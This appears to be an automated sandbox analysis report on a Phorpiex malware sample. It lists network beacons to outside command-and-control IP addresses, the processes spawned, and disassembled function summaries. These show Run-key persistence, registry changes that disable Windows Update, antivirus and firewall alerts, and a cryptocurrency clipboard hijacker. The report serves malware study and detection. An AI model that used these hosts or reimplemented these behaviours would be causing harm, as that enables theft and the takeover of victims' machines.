74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49832	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:12:58.903496981 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:12:59.606447935 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:12:59 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49834	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:13:01.637963057 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:13:02.354104042 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:13:02 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49836	185.215.113.66	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:13:04.385543108 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
Sep 17, 2024 23:13:05.072268963 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Sep 2024 21:13:04 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49837	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:13:08.134874105 CEST	163	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49839	77.91.77.92	80	6768	C:\Windows\sysmablsvr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 17, 2024 23:13:12.011240005 CEST	163	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 77.91.77.92

Target ID:	0
Start time:	17:09:07
Start date:	17/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	90'112 bytes
MD5 hash:	ABABCA6D12D96E8DD2F1D7114B406FAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000000.1784055994.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000000.00000003.1805000272.0000000000547000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:09:09
Start date:	17/09/2024
Path:	C:\Windows\sysmablsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysmablsvr.exe
Imagebase:	0x400000
File size:	90'112 bytes
MD5 hash:	ABABCA6D12D96E8DD2F1D7114B406FAE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000000.1804968685.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysmablsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:09:19
Start date:	17/09/2024
Path:	C:\Windows\sysmablsvr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\sysmablsvr.exe"
Imagebase:	0x400000
File size:	90'112 bytes
MD5 hash:	ABABCA6D12D96E8DD2F1D7114B406FAE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000000.1909749196.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:10:03
Start date:	17/09/2024
Path:	C:\Users\user\AppData\Local\Temp\158752420.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\158752420.exe
Imagebase:	0x6e0000
File size:	12'288 bytes
MD5 hash:	8242045FF6B7BED00C8A94C77193F2DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:10:12
Start date:	17/09/2024
Path:	C:\Users\user\AppData\Local\Temp\524024912.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\524024912.exe
Imagebase:	0x220000
File size:	7'680 bytes
MD5 hash:	AC0A159A6C219E2CEA55DCC77AB6E337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:11:19
Start date:	17/09/2024
Path:	C:\Users\user\AppData\Local\Temp\259428477.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\259428477.exe
Imagebase:	0xa30000
File size:	12'288 bytes
MD5 hash:	8242045FF6B7BED00C8A94C77193F2DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:12:30
Start date:	17/09/2024
Path:	C:\Users\user\AppData\Local\Temp\2958729589.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2958729589.exe
Imagebase:	0x3d0000
File size:	12'288 bytes
MD5 hash:	8242045FF6B7BED00C8A94C77193F2DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.1%
Total number of Nodes:	1477
Total number of Limit Nodes:	8

Executed Functions

Function 0040ECC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040ECD3
strcmp.NTDLL ref: 0040ECE2

Strings

UKR, xrefs: 0040ECD9

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 54f5cdf661095b57fe809351cef4458ab0cf24a1f510da97d06a6553b22e766c
Instruction ID: 77034b4ee665358b2559d06917653f26683f777e377fe2659d333d0cc479d80c
Opcode Fuzzy Hash: 54f5cdf661095b57fe809351cef4458ab0cf24a1f510da97d06a6553b22e766c
Instruction Fuzzy Hash: 19E02B32E4830876FA10BAA5AC03FEA375C9711701F000176FF05F21C1F6BA922A979B

Function 00407500 Relevance: 289.5, APIs: 108, Strings: 57, Instructions: 784
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040750E
CreateMutexA.KERNELBASE(00000000,00000000,55a4er5wo), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\file.exe,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(C:\Users\user\Desktop\file.exe), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNELBASE(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407AF2
%temp%, xrefs: 004077CF
AntiSpywareOverride, xrefs: 00407E4C
AntiVirusOverride, xrefs: 00407E6B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407B9C
AntiVirusDisableNotify, xrefs: 00407E8A
AntiSpywareOverride, xrefs: 00407D40
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004079AC
UpdatesOverride, xrefs: 00407D9D
%s\%s, xrefs: 004076F5
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407B45
DisableWindowsUpdateAccess, xrefs: 00407A1B
FirewallOverride, xrefs: 00407D02
FirewallDisableNotify, xrefs: 00407E2D
WindowsUpdate, xrefs: 00407A77
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 0040795E
NoAutoUpdate, xrefs: 00407B13
AntiVirusDisableNotify, xrefs: 00407D7E
%s\tbtcmds.dat, xrefs: 00407F35
%userprofile%, xrefs: 004075BC
CheckedValue, xrefs: 00407CB0
Windows Settings, xrefs: 0040769C, 00407776, 00407867
Start, xrefs: 00407931
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407C8F
%s\tbtnds.dat, xrefs: 00407F1B
Start, xrefs: 004078E3
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079FA
UpdatesOverride, xrefs: 00407EA9
DisableWindowsUpdateAccess, xrefs: 00407AC5
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407DE9
%s\%s, xrefs: 0040761B
WindowsUpdate, xrefs: 00407B6F
Start, xrefs: 0040797F
NoAutoUpdate, xrefs: 00407C14
AntiVirusOverride, xrefs: 00407D5F
sysmablsvr.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
Start, xrefs: 00407C62
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407910
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
C:\Users\user\Desktop\file.exe, xrefs: 0040756B, 00407578, 00407589, 00407639, 00407713, 00407804
SOFTWARE\Microsoft\Security Center, xrefs: 00407CDD
55a4er5wo, xrefs: 00407514
Start, xrefs: 004079CD
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AA4
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
FirewallOverride, xrefs: 00407E0E
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407C41
%s:Zone.Identifier, xrefs: 0040758E
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A4D
UpdatesDisableNotify, xrefs: 00407DBC
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407BF3
FirewallDisableNotify, xrefs: 00407D21
%s\%s, xrefs: 004077E6
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 004078C2
%windir%, xrefs: 00407604
UpdatesDisableNotify, xrefs: 00407EC8

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$55a4er5wo$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\Desktop\file.exe$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$sysmablsvr.exe
API String ID: 4172876685-3566645442
Opcode ID: 95bca734a32fc1ca3b6063aadf45f0f777810fdf47a36b8aa2289140a07bddb7
Instruction ID: a49710c48774a039d08af1d560b2319e957ec07716638a9d0d735a0d257e6f0f
Opcode Fuzzy Hash: 95bca734a32fc1ca3b6063aadf45f0f777810fdf47a36b8aa2289140a07bddb7
Instruction Fuzzy Hash: 9B5268B1B80318BBE7209B60DC4AFD93779AB48B11F1085A5F305B91D0DAF5A984CB5D

Function 0040EF10 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040EF1E
memset.NTDLL ref: 0040EF2E
CreateProcessW.KERNELBASE(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EF67
Sleep.KERNELBASE(000003E8), ref: 0040EF77
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EF92
Sleep.KERNEL32(000003E8), ref: 0040EFAC

Strings

open, xrefs: 0040EF8B
D, xrefs: 0040EF36
, xrefs: 0040EFA1

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: e2b186ad004b62e9ae343f364b445b77cfefa0e7e3aa45da8de068108c2434a4
Instruction ID: 2af3465f2ac7e3bdaf7f942b51208d096d5e25dcc258d3f6adac25a8060dddc3
Opcode Fuzzy Hash: e2b186ad004b62e9ae343f364b445b77cfefa0e7e3aa45da8de068108c2434a4
Instruction Fuzzy Hash: 6F114F71A84308BBEB10DB90DD46FDE7778AB14B00F204125FA09BE2C1D7F56A44C75A

Non-executed Functions

Function 00406650 Relevance: 77.3, APIs: 34, Strings: 10, Instructions: 300
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(00417500,?,00000000), ref: 004067EA

Strings

%s\%s, xrefs: 004066E3
shell32.dll, xrefs: 0040681E
%s\%s\%s, xrefs: 00406ACB
%s\%s, xrefs: 004066A3
%s\%s, xrefs: 00406A31
%s\%s, xrefs: 00406AA4
shell32.dll, xrefs: 00406836
%s\*, xrefs: 004066FC
%s\%s\VolDrvConfig.exe, xrefs: 004066C3
%s.lnk, xrefs: 00406683

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDrvConfig.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2120662298-3006713477
Opcode ID: db5eccb7a8f15aa8004616f5cf87b59d8a7d315b42364bc1ec8f026dd92e313a
Instruction ID: c06ff6b6fb177b83c5a42a6bb152b383d4bd735e421ae8a12f9cadfa06fd6cc4
Opcode Fuzzy Hash: db5eccb7a8f15aa8004616f5cf87b59d8a7d315b42364bc1ec8f026dd92e313a
Instruction Fuzzy Hash: A8D164B5900258ABCB20DF50DC54FEA77B8BB48304F04C5EAF20AA6191D7B99BD4CF59

Function 004048A0 Relevance: 74.5, APIs: 26, Strings: 16, Instructions: 951clipboardstringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 004048BC
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404C72
StrStrW.SHLWAPI(00000000,cosmos), ref: 00404C9D
StrStrW.SHLWAPI(00000000,addr), ref: 00404CC8
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404D67
StrStrW.SHLWAPI(00000000,ronin:), ref: 00404D7E
StrStrW.SHLWAPI(00000000,nano_), ref: 00404D95
isalpha.NTDLL ref: 00404E14
isdigit.NTDLL ref: 00404E2B
StrStrW.SHLWAPI(00000000,bnb), ref: 0040530C
StrStrW.SHLWAPI(00000000,band), ref: 00405326
StrStrW.SHLWAPI(00000000,bc1), ref: 00405340
StrStrW.SHLWAPI(00000000,ronin:), ref: 0040535A
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00405374
StrStrW.SHLWAPI(00000000,cosmos), ref: 0040538E
StrStrW.SHLWAPI(00000000,addr), ref: 004053A8
StrStrW.SHLWAPI(00000000,nano_), ref: 004053C2
lstrlenA.KERNEL32(00000000), ref: 00405483
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 0040549E
GlobalLock.KERNEL32(00000000), ref: 004054B1
memcpy.NTDLL(00000000,00000000,-00000001), ref: 004054CF
GlobalUnlock.KERNEL32(00000000), ref: 004054DB
OpenClipboard.USER32(00000000), ref: 004054E3
EmptyClipboard.USER32 ref: 004054ED
SetClipboardData.USER32(00000001,00000000), ref: 004054F9
CloseClipboard.USER32 ref: 004054FF

Strings

nano_, xrefs: 004053B9
0, xrefs: 0040541B
addr, xrefs: 00404CBF
bitcoincash:, xrefs: 00404C69
bc1, xrefs: 00405337
hA, xrefs: 004053CC
nano_, xrefs: 00404D8C
bitcoincash:, xrefs: 0040536B
ronin:, xrefs: 00405351
addr, xrefs: 0040539F
bnb, xrefs: 00405303
cosmos, xrefs: 00404C94
band, xrefs: 0040531D
ronin:, xrefs: 00404D75
